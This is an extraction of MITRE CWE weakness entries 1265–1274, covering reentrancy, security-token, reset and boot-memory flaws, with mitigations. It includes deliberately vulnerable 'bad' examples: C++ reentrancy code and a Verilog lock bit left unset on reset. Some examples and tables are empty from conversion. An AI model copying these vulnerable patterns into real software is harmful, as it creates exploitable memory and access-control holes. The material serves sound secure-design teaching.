CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls

Weakness ID : 1265

Status: Draft

Structure : Simple

Abstraction : Base

Description

During execution of non-reentrant code, the software performs a call that unintentionally produces a nested invocation of the non-reentrant code.

Extended Description

In complex software, a single function call may lead to many different possible code paths, some of which may involve deeply nested calls. It may be difficult to foresee all possible code paths that could emanate from a given function call. In some systems, an external actor can manipulate inputs to the system and thereby achieve a wide range of possible control flows. This is frequently of concern in software that executes script from untrusted sources. Examples of such software are web browsers and PDF readers. A weakness is present when one of the possible code paths resulting from a function call alters program state that the original caller assumes to be unchanged during the call.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|----------|---|-----|--------------|------|
| MemberOf |  | 371 | State Issues | 2038 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--|------------------|------------|
| Integrity | Unexpected State | Unknown |
| <p><i>Exploitation of this weakness can leave the application in an unexpected state and cause variables to be reassigned before the first invocation has completed. This may eventually result in memory corruption or unexpected code execution.</i></p> | | |

Potential Mitigations

Phase: Architecture and Design

When architecting a system that will execute untrusted code in response to events, consider executing the untrusted event handlers asynchronously (asynchronous message passing) as

opposed to executing them synchronously at the time each event fires. The untrusted code should execute at the start of the next iteration of the thread's message loop. In this way, calls into non-reentrant code are strictly serialized, so that each operation completes fully before the next operation begins. Special attention must be paid to all places where type coercion may result in script execution. Performing all needed coercions at the very beginning of an operation can help reduce the chance of operations executing at unexpected junctures.

Effectiveness = High

Phase: Implementation

Make sure the code (e.g., function or class) in question is reentrant by not leveraging non-local data, not modifying its own code, and not calling other non-reentrant code.

Effectiveness = High

Demonstrative Examples

Example 1:

The implementation of the Widget class in the following C++ code is an example of code that is not designed to be reentrant. If an invocation of a method of Widget inadvertently produces a second nested invocation of a method of Widget, then data member backgroundImage may unexpectedly change during execution of the outer call.

Example Language: C++

(bad)

```
class Widget
{
private:
    Image* backgroundImage;
public:
    void click()
    {
        if (backgroundImage)
        {
            backgroundImage->click();
        }
    }
    void changeBackgroundImage(Image* newImage)
    {
        if (backgroundImage)
        {
            delete backgroundImage;
        }
        backgroundImage = newImage;
    }
}
class Image
{
public:
    void click()
    {
        scriptEngine->fireOnImageClick();
        /* perform some operations using "this" pointer */
    }
}
```

Looking closer at this example, Widget::click() calls backgroundImage->click(), which in turn calls scriptEngine->fireOnImageClick(). The code within fireOnImageClick() invokes the appropriate script handler routine as defined by the document being rendered. In this scenario this script routine is supplied by an adversary and this malicious script makes a call to Widget::changeBackgroundImage(), deleting the Image object pointed to by backgroundImage. When control returns to Image::click, the function's "backgroundImage" "this" pointer (which is the former value of backgroundImage) is a dangling pointer. The root of this weakness is that while

one operation on Widget (click) is in the midst of executing, a second operation on the Widget object may be invoked (in this case, the second invocation is a call to different method, namely `changeBackgroundImage`) that modifies the non-local variable.

Example 2:

This is another example of C++ code that is not designed to be reentrant.

Example Language: C++ (bad)

```
class Request
{
private:
    std::string uri;
    /* ... */
public:
    void setup(ScriptObject* _uri)
    {
        this->uri = scriptEngine->coerceToString(_uri);
        /* ... */
    }
    void send(ScriptObject* _data)
    {
        Credentials credentials = GetCredentials(uri);
        std::string data = scriptEngine->coerceToString(_data);
        doSend(uri, credentials, data);
    }
}
```

The expected order of operations is a call to `Request::setup()`, followed by a call to `Request::send()`. `Request::send()` calls `scriptEngine->coerceToString(_data)` to coerce a script-provided parameter into a string. This operation may produce script execution. For example, if the script language is ECMAScript, arbitrary script execution may result if `_data` is an adversary-supplied ECMAScript object having a custom `toString` method. If the adversary's script makes a new call to `Request::setup`, then when control returns to `Request::send`, the field `uri` and the local variable `credentials` will no longer be consistent with one another. As a result, credentials for one resource will be shared improperly with a different resource. The root of this weakness is that while one operation on `Request` (`send`) is in the midst of executing, a second operation may be invoked (`setup`).

Observed Examples

| Reference | Description |
|---------------|---|
| CVE-2014-1772 | In this vulnerability, by registering a malicious onerror handler, an adversary can produce unexpected re-entrance of a <code>CDOMRange</code> object. [REF-1098] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1772 |
| CVE-2018-8174 | This CVE covers several vulnerable scenarios enabled by abuse of the <code>Class_Terminate</code> feature in Microsoft VBScript. In one scenario, <code>Class_Terminate</code> is used to produce an undesirable re-entrance of <code>ScriptingDictionary</code> during execution of that object's destructor. In another scenario, a vulnerable condition results from a recursive entrance of a property setter method. This recursive invocation produces a second, spurious call to the <code>Release</code> method of a reference-counted object, causing a UAF when that object is freed prematurely. This vulnerability pattern has been popularized as "Double Kill". [REF-1099] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8174 |

CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device

Weakness ID : 1266

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned. A scrubbing capability could be missing, insufficient, or incorrect.

Extended Description

When a product is decommissioned - i.e., taken out of service - best practices or regulatory requirements may require the administrator to remove or overwrite sensitive data first, i.e. "scrubbing." Improper scrubbing of sensitive data from a decommissioned device leaves that data vulnerable to acquisition by a malicious actor. Sensitive data may include, but is not limited to, device/manufacture proprietary information, user/device credentials, network configurations, and other forms of sensitive data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---------------------------------------|------|
| ChildOf |  | 404 | Improper Resource Shutdown or Release | 902 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------|------------|
| Confidentiality | Read Memory | |

Potential Mitigations

Phase: Architecture and Design

Functionality to completely scrub data from a product at the conclusion of its lifecycle should be part of the design phase. Trying to add this function on top of an existing architecture could lead to incomplete removal of sensitive information/data.

Phase: Policy

The manufacturer should describe the location(s) where sensitive data is stored and the policies and procedures for its removal. This information may be conveyed, for example, in an Administrators Guide or a Statement of Volatility.

Phase: Implementation

If the capability to wipe sensitive data isn't built-in, the manufacturer may need to provide a utility to scrub sensitive data from storage if that data is located in a place which is non-accessible by the administrator. One example of this could be when sensitive data is stored on an EEPROM for which there is no user/admin interface provided by the system.

CWE-1267: Policy Uses Obsolete Encoding**Weakness ID** : 1267**Status**: Draft**Structure** : Simple**Abstraction** : Base**Description**

The product uses an obsolete encoding mechanism to implement access controls.

Extended Description

Within a System-On-a-Chip (SoC), various circuits and hardware engines generate transactions for the purpose of accessing (read/write) assets or performing various actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (identifying the originator of the transaction) and a destination identity (routing the transaction to the respective entity). Sometimes the transactions are qualified with a Security Token. This Security Token helps the destination agent decide on the set of allowed actions (e.g., access to an asset for reads and writes). A policy encoder is used to map the bus transactions to Security Tokens that in turn are used as access-controls/protection mechanisms. A common weakness involves using an encoding which is no longer trusted, i.e., an obsolete encoding.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | High |
| Integrity | Read Memory | |
| Availability | Modify Files or Directories | |
| Access Control | Read Files or Directories | |
| | DoS: Resource Consumption (Other) | |
| | Execute Unauthorized Code or Commands | |
| | Gain Privileges or Assume Identity | |
| | Bypass Protection Mechanism | |
| | Reduce Reliability | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Security Token Decoders should be reviewed for design inconsistency and common weaknesses. Access and programming flows should be tested in both pre-silicon and post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider a system that has four bus masters. The table below provides bus masters, their Security Tokens, and trust assumptions.

The policy encoding is to be defined such that Security Token will be used in implemented access-controls. The bits in the bus transaction that contain Security-Token information are Bus_transaction [15:11]. The assets are the AES-Key registers for encryption or decryption. The key of 128 bits is implemented as a set of four, 32-bit registers.

Below is an example of a policy encoding scheme inherited from a previous project where all "ODD" numbered Security Tokens are trusted.

Example Language:

(bad)

```
If (Bus_transaction[14] == "1")
    Trusted = "1"
```

```
Else
  Trusted = "0"
If (trusted)
  Allow access to AES-Key registers
Else
  Deny access to AES-Key registers
```

The inherited policy encoding is obsolete and does not work for the new system where an untrusted bus master with an odd Security Token exists in the system, i.e., Master_3 whose Security Token is "11". Based on the old policy, the untrusted bus master (Master_3) has access to the AES-Key registers. To resolve this, a register AES_KEY_ACCESS_POLICY can be defined to provide necessary, access controls:

New Policy:

The AES_KEY_ACCESS_POLICY register defines which agents with a Security Token in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a Security Token. There could be a maximum of 32 security Tokens that are allowed access to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent. Thus, any bus master with Security Token "01" is allowed access to the AES-Key registers. Below is the Pseudo Code for policy encoding:

Example Language: (good)

```
Security_Token[4:0] = Bus_transaction[15:11]
If (AES_KEY_ACCESS_POLICY[Security_Token] == "1")
  Allow access to AES-Key registers
Else
  Deny access to AES-Key registers
```

CWE-1268: Policy Privileges are not Assigned Consistently Between Control and Data Agents

| | |
|--------------------|---------------|
| Weakness ID : 1268 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies.

Extended Description

Integrated circuits and hardware engines may provide access to resources (device-configuration, encryption keys, etc.) belonging to trusted firmware or software modules (commonly set by a BIOS or a bootloader). These accesses are typically controlled and limited by the hardware. Hardware design access control is sometimes implemented using a policy. A policy defines which entity or agent may or may not be allowed to perform an action. When a system implements multiple levels of policies, a control policy may allow direct access to a resource as well as changes to the policies themselves.

Resources that include agents in their control policy but not in their write policy could unintentionally allow an untrusted agent to insert itself in the write policy register. Inclusion in the write policy register could allow a malicious or misbehaving agent write access to resources. This action could result in security compromises including leaked information, leaked encryption keys, or modification of device configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | P | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | High |
| Integrity | Read Memory | |
| Availability | DoS: Crash, Exit, or Restart | |
| Access Control | Execute Unauthorized Code or Commands | |
| | Gain Privileges or Assume Identity | |
| | Bypass Protection Mechanism | |
| | Read Files or Directories | |
| | Reduce Reliability | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Access-control-policy definition and programming flow must be sufficiently tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

Consider a system with a register for storing an AES key for encryption or decryption. The key is composed of 128 bits implemented as a set of four 32-bit registers. The key registers are resources and registers, AES_KEY_CONTROL_POLICY, AES_KEY_READ_POLICY and AES_KEY_WRITE_POLICY, and are defined to provide necessary, access controls.

The control-policy register defines which agents can write to the read-policy and write-policy registers. The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each 32-bit register can support access control for a maximum of 32 agents. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

Example Language:

(bad)

In the above example, the AES_KEY_CONTROL_POLICY register has agents with identities "4" and "3" in its policy. Assuming the agent with identity "4" is trusted and the agent with identity "3" is untrusted. The untrusted agent "3" can write to AES_KEY_WRITE_POLICY with a value of 0x0000000C thus allowing write access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers.

1. The AES_KEY_CONTROL_POLICY defines which agents have write access to the AES_KEY_CONTROL_POLICY, AES_KEY_READ_POLICY, and the AES_KEY_WRITE_POLICY registers,
2. The AES-key registers can only be read or used by a crypto agent with identity "1" when bit #1 is set.
3. The AES-key registers can only be programmed by a trusted firmware with identity "2" when bit #2 is set.

For the above example, the control, read-and-write-policy registers' values are defined as below.

Example Language:

(good)

CWE-1269: Product Released in Non-Release Configuration

Weakness ID : 1269

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product released to market is released in pre-production or manufacturing configuration.

Extended Description

Products in the pre-production or manufacturing stages are configured to have many debug hooks and debug capabilities, including but not limited to:

- Ability to override/bypass various cryptographic checks (including authentication, authorization, and integrity)
- Ability to read/write/modify/dump internal state (including registers and memory)
- Ability to change system configurations
- Ability to run hidden or private commands that are not allowed during production (as they expose IP).

The above is by no means an exhaustive list, but it alludes to the greater capability and the greater state of vulnerability of a product during its preproduction or manufacturing state.

Complexity increases when multiple parties are involved in executing the tests before the final production version. For example, a chipmaker might fabricate a chip and run its own preproduction tests, following which the chip would be delivered to the Original Equipment Manufacturer (OEM), who would now run a second set of different preproduction tests on the same chip. Only after both of these sets of activities are complete, can the overall manufacturing phase be called “complete” and have the “Manufacturing Complete” fuse blown. However, if the OEM forgets to blow the Manufacturing Complete fuse, then the system remains in the manufacturing stage, rendering the system both exposed and vulnerable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : VHDL (*Prevalence = Undetermined*)

Language : Verilog (*Prevalence = Undetermined*)

Language : Compiled (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Other (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--|--------|------------|
| Confidentiality Integrity Availability Access Control Accountability | Other | High |

| Scope | Impact | Likelihood |
|-----------------|--------|------------|
| Authentication | | |
| Authorization | | |
| Non-Repudiation | | |

Potential Mitigations

Phase: Implementation

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Phase: Integration

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Phase: Manufacturing

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Demonstrative Examples

Example 1:

This example shows what happens when a preproduction system is made available for production.

Example Language:

(bad)

Suppose the chipmaker has a way of scanning all the internal memory (containing chipmaker-level secrets) during the manufacturing phase, and the way the chipmaker or the Original Equipment Manufacturer (OEM) marks the end of the manufacturing phase is by blowing a Manufacturing Complete fuse. Now, suppose that whoever blows the Manufacturing Complete fuse inadvertently forgets to execute the step to blow the fuse.

An attacker will now be able to scan all the internal memory (containing chipmaker-level secrets).

Example Language:

(good)

Blow the Manufacturing Complete fuse.

CWE-1270: Generation of Incorrect Security Tokens

| | |
|---------------------------|----------------------------|
| Weakness ID : 1270 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens generated in the system are incorrect.

Extended Description

Systems-On-a-Chip (SoC) (Integrated circuits and hardware engines) implement Security Tokens to differentiate and identify actions originated from various agents. These actions could be "read", "write", "program", "reset", "fetch", "compute", etc. Security Tokens are generated and assigned to every agent on the SoC that is either capable of generating an action or receiving an action from another agent. Every agent could be assigned a unique, Security Token based on its trust level or privileges. Incorrectly generated Security Tokens could result in the same token used for multiple agents or multiple tokens being used for the same agent. This condition could result in a Denial-of-Service (DoS) or the execution of an action that in turn could result in privilege escalation or unintended access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1294 | Insecure Security Identifier Mechanism | 1933 |

Applicable Platforms

Language : Language-Independent (Prevalence = Undetermined)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Files or Directories | High |
| Integrity | Execute Unauthorized Code or Commands | |
| Availability | Bypass Protection Mechanism | |
| Access Control | Gain Privileges or Assume Identity | |
| | Read Memory | |
| | Modify Memory | |
| | DoS: Crash, Exit, or Restart | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Generation of Security Tokens should be reviewed for design inconsistency and common weaknesses. Security-Token definition and programming flow should be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

Consider a system with a register for storing an AES key for encryption or decryption. The key is 128 bits long implemented as a set of four 32-bit registers. The key registers are assets, and register, AES_KEY_ACCESS_POLICY, is defined to provide necessary access controls. The access-policy register defines which agents, using a Security Token, may access the AES-key registers. Each bit in this 32-bit register is used to define a Security Token. There could be a maximum of 32 Security Tokens that are allowed access to the AES-key registers. When set (bit = "1") bit number allows action from an agent whose identity matches that bit number. If Clear (bit = "0") the action is disallowed for the corresponding agent.

Let's assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Tokens are "1" and "2".

An agent with a Security Token "1" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security Token is "1".

Example Language: Other

(bad)

The SoC incorrectly generates Security Token "1" for every agent. In other words, both Main-controller and Aux-controller are assigned Security Token "1".

Both agents have access to the AES-key registers.

Example Language: Other

(good)

The SoC should correctly generate Security Tokens, assigning "1" to the Main-controller and "2" to the Aux-controller

CWE-1271: Uninitialized Value on Reset for Registers Holding Security Settings

Weakness ID : 1271**Status:** Incomplete**Structure :** Simple**Abstraction :** Base

Description

Security-critical logic is not set to a known value on reset.

Extended Description

When the device is first brought out of reset, the state of registers will be indeterminate if they have not been initialized by the logic. Before the registers are initialized, there will be a window during which the device is in an insecure state and may be vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---|-------------------|------------|
| Access Control Authentication Authorization | Varies by Context | |

Potential Mitigations

Phase: Implementation

Design checks should be performed to identify any uninitialized flip-flops used for security-critical functions.

Phase: Architecture and Design

All registers holding security-critical information should be set to a specific value on reset.

Demonstrative Examples

Example 1:

Shown below is a positive clock edge triggered flip-flop used to implement a lock bit for test and debug interface. When the circuit is first brought out of reset, the state of the flip-flop will be unknown until the enable input and D-input signals update the flip-flop state. In this example, an attacker can reset the device until the test and debug interface is unlocked and access the test interface until the lock signal is driven to a known state by the logic.

Example Language: Other

(bad)

```
always @(posedge clk) begin
    if (en) lock_jtag <= d;
end
```

The flip-flop can be set to a known value (0 or 1) on reset, but requires that the logic explicitly update the output of the flip-flop if the reset signal is active.

Example Language: Other

(good)

```
always @(posedge clk) begin
    if (~reset) lock_jtag <= 0;
    else if (en) lock_jtag <= d;
end
```

CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition

| | |
|--------------------|----------------|
| Weakness ID : 1272 | Status: Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product performs a power or debug state transition, but it does not clear sensitive information that should no longer be accessible due to changes to information access restrictions.

Extended Description

A device or system frequently employs many power and sleep states during its normal operation (e.g., normal power, additional power, low power, hibernate, deep sleep, etc.). A device also may be operating within a debug condition. State transitions can happen from one power or debug state to another. If there is information available in the previous state which should not be available in the next state and is not properly removed before the transition into the next state, sensitive information may leak from the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|--|------|
| ChildOf |  | 226 | Sensitive Information in Resource Not Removed Before Reuse | 526 |
| CanPrecede |  | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |

Weakness Ordinalities

Language : Verilog (*Prevalence = Undetermined*)

Language : Compiled (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Memory | High |
| Integrity | Read Application Data | |
| Availability | <i>Sensitive information may be used to unlock additional capabilities of the device and take advantage of hidden functionalities which could be used to compromise device security.</i> | |
| Access Control | | |
| Accountability | | |
| Authentication | | |
| Authorization | | |
| Non-Repudiation | | |

Detection Methods

Manual Analysis

Write a known pattern into each sensitive location. Enter the power/debug state in question. Read data back from the sensitive locations. If the reads are successful, and the data is the same as the pattern that was originally written, the test fails and the device needs to be fixed. Note that this test can likely be automated.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

During state transitions, information not needed in the next state should be removed before the transition to the next state.

Demonstrative Examples

Example 1:

This example shows how an attacker can take advantage of an incorrect state transition.

Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in state B. The device reads the keys, performs operations using those keys, then transitions to state B, where those private keys should no longer be accessible.

Example Language:

(bad)

During the transition from A to B, the device does not scrub the memory.

After the transition to state B, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory that contains the private keys.

Example Language:

(good)

For transition from state A to state B, remove information which should not be available once the transition is complete.

CWE-1273: Device Unlock Credential Sharing

Weakness ID : 1273

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information.

Extended Description

“Unlocking a device” often means activating certain, unadvertised, debug and manufacturer-specific capabilities of a device using sensitive credentials. Unlocking a device might be necessary for the purpose of troubleshooting device problems. For example, suppose a device contains the ability to dump the content of the full system memory by disabling the memory-protection mechanisms. Since this is a highly security-sensitive capability, this capability is “locked” in the production part. Unless the device gets unlocked by supplying the proper credentials the debug capabilities are not available. For cases where the chip designer, chip manufacturer (fabricator), and manufacturing and assembly testers are the all employed by the same company, the compromise of the credentials are greatly reduced. However, when the chip designer is employed by one company, the chip manufacturer is employed by another company (a foundry), and the assemblers and testers are employed by yet a third company. Since these different companies will need to perform various tests on the device to verify correct device function, they all need to share the unlock key. Unfortunately, the level of secrecy and policy might be quite different at each company, greatly increasing the risk of sensitive credentials being compromised.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

Language : Verilog (*Prevalence = Undetermined*)

Language : Compiled (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Other (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---|---------------------------------------|------------|
| Confidentiality | Modify Memory | |
| Integrity | Read Memory | |
| Availability | Modify Files or Directories | |
| Access Control | Read Files or Directories | |
| Accountability | Modify Application Data | |
| Authentication | Execute Unauthorized Code or Commands | |
| Authorization | Gain Privileges or Assume Identity | |
| Non-Repudiation | Bypass Protection Mechanism | |
| <i>Once unlock credentials are compromised, an attacker can use the credentials to unlock the device and gain</i> | | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | <i>unauthorized access to the hidden functionalities protected by those credentials.</i> | |

Potential Mitigations

Phase: Integration

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

Phase: Manufacturing

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

Demonstrative Examples

Example 1:

This example shows how an attacker can take advantage of compromised credentials.

Example Language:

(bad)

Suppose a semiconductor chipmaker, "C", uses the foundry "F" for fabricating its chips. Now, F has many other customers in addition to C, and some of the other customers are much smaller companies. F has dedicated teams for each of its customers, but somehow it mixes up the unlock credentials and sends the unlock credentials of C to the wrong team. This other team does not take adequate precautions to protect the credentials that have nothing to do with them, and eventually the unlock credentials of C get leaked.

When the credentials of multiple organizations are stored together, exposure to third parties occurs frequently.

Example Language:

(good)

Vertical integration of a production company is one effective method of protecting sensitive credentials. Where vertical integration is not possible, strict access control and need-to-know are methods which can be implemented to reduce these risks.

MemberOf Relationships

CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code

| | |
|--------------------|----------------|
| Weakness ID : 1274 | Status: Stable |
|--------------------|----------------|

Structure : Simple**Abstraction** : Base

Description

The product conducts a secure-boot process that transfers bootloader code from Non-Volatile Memory (NVM) into Volatile Memory (VM), but it does not have sufficient access control or other protections for the Volatile Memory.

Extended Description

Adversaries could bypass the secure-boot process and execute their own untrusted, malicious boot code.

As a part of a secure-boot process, the read-only-memory (ROM) code for a System-on-Chip (SoC) or other system fetches bootloader code from Non-Volatile Memory (NVM) and stores the code in Volatile Memory (VM), such as dynamic, random-access memory (DRAM) or static, random-access memory (SRAM). The NVM is usually external to the SoC, while the VM is internal to the SoC. As the code is transferred from NVM to VM, it is authenticated by the SoC's ROM code.

If the volatile-memory-region protections or access controls are insufficient to prevent modifications from an adversary or untrusted agent, the secure boot may be bypassed or replaced with the execution of an adversary's code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | [P] | 284 | Improper Access Control | 631 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---------------------------------------|------------|
| Access Control | Modify Memory | High |
| Integrity | Execute Unauthorized Code or Commands | |
| | Gain Privileges or Assume Identity | |

Detection Methods

Manual Analysis

Ensure the volatile memory is lockable or has locks. Ensure the volatile memory is locked for writes from untrusted agents or adversaries. Try modifying the volatile memory from an untrusted agent, and ensure these writes are dropped.

Effectiveness = High

Manual Analysis

Analyze the device using the following steps: 1) Identify all fabric master agents that are active during system Boot Flow when initial code is loaded from Non-volatile storage to volatile memory. 2) Identify the volatile memory regions that are used for storing loaded system executable program. 3) During system boot, test programming the identified memory regions in step 2 from all the masters identified in step 1. Only trusted masters should be allowed to write to the memory regions. For example, pluggable device peripherals should not have write access to program load memory regions.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Ensure that the design of volatile-memory protections is enough to prevent modification from an adversary or untrusted code.

Phase: Testing

Test the volatile-memory protections to ensure they are safe from modification or untrusted code.

Demonstrative Examples

Example 1:

A typical SoC secure boot's flow includes fetching the next piece of code (i.e., the boot loader) from NVM (e.g., serial, peripheral interface (SPI) flash), and transferring it to DRAM/SRAM volatile, internal memory, which is more efficient.

Example Language:

(bad)

The volatile-memory protections or access controls are insufficient.

The memory from where the boot loader executes can be modified by an adversary.

Example Language:

(good)

